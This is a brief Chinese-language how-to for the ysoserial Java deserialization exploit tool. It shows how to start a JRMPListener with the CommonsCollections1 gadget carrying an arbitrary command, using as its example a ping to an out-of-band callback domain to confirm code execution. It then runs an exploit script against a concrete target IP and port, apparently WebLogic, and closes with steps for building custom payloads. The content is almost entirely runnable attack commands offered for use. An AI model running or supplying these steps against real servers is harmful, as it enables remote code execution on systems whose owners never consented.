反序列化工具ysoserial使用介绍
0x00 ysoserial是什么?
ysoserial集合了各种java反序列化payload; 下载地址:https://github.com/angelwhu/ysoserial
0x01 基本使用方法
在公网vps上执行:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 【port】 CommonsCollections1 '【commands】'
port:公网vps上监听的端口号 commands:需要执行的命令 例子:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'
重启一个shell窗口:
python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】 【JRMPListener port】 JRMPClient
列子:
python exploit.py 118.89.53.139 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139 1099 JRMPClient
0x02 在ysoserial编写自己的payload
- git clone https://github.com/fanyingjie2/ysoserial.git
- 将自己编写的payload放在下载的包中:路径ysoserial/src/main/java/ysoserial/payloads/
- 修改Dockerfile
- docker build -t ysoserial .
- docker run -ti ID号 /bin/bash
- 在docke中执行 apt-get update
- 在docker中执行apt-get install lrzsz
- sz target/ysoserial.jar